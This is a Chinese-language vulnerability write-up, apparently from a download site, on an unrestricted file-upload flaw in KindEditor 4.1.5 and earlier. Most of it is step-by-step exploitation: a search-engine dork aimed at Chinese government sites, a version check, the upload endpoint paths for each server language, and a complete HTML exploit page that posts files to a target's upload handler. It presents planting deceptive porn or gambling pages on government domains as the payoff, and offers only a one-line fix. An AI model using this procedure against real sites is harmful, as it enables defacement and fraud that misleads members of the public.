漏洞等级:高危
Kindeditor是一套开源的HTML可视化编辑器,主要用于让用户在网站上获得所见即所得编辑效果,兼容IE、Firefox、Chrome、Safari、Opera等主流浏览器。
漏洞描述:
Kindeditor能够上传doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf格式文件。支持
Java、.NET、PHP、ASP等程序。
漏洞利用:
通过搜索引擎找到目标,比如:搜索关键字 inurl:gov.cn/kindeditor
通过访问http://www.xx.gov.cn/kindeditor/kindeditor.js,查看kindeditor版本是否含有漏洞(<=4.1.5)
获得网站使用的开发语言,并确定kindeditor上传文件地址,各种语言上传地址如下:
-
/asp/upload_json.asp
-
/asp.net/upload_json.ashx
-
/jsp/upload_json.jsp
-
/php/upload_json.php
创建exploit.html页面,编辑内容如下:
<html> <head> <title>kindeditor exploit</title> <script src="http://www.xx.gov.cn/kindeditor/kindeditor.js"></script> <script> KindEditor.ready(function(K) { var uploadbutton = K.uploadbutton({ button : K('#uploadButton')[0], fieldName : 'imgFile', url : 'http://www.xx.gov.cn/kindeditor/asp.net/upload_json.ashx?dir=file', afterUpload : function(data) { if (data.error === 0) { var url = K.formatUrl(data.url, 'absolute'); K('#url').val(url); } }, }); uploadbutton.fileBox.change(function(e) { uploadbutton.submit(); }); }); </script> </head> <body> <div class="upload"> <input type="button" id="uploadButton" value="Upload" /> </div> </body> </html>
浏览器访问页面效果如下:
选择文件test.txt文件(文件内容:test…2019/03/04),网站审核元素,查看返回结果,如图:
访问网址结果如下:
漏洞影响:
由于该漏洞无法上传php,asp,java等类型文件,所以无法getshell,但是可以上传包含色情、赌博等类欺骗性html网页,如果上传到政府类网站,不法分子会利用政府域名的权威性达到欺骗普通用户的目的,所以危害性很大。
解决办法:
限制上传文件类型
常见问题FAQ
- 免费下载或者VIP会员专享资源能否直接商用?
- 本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
- 提示下载完但解压或打开不了?
- 找不到素材资源介绍文章里的示例图片?
- 站壳网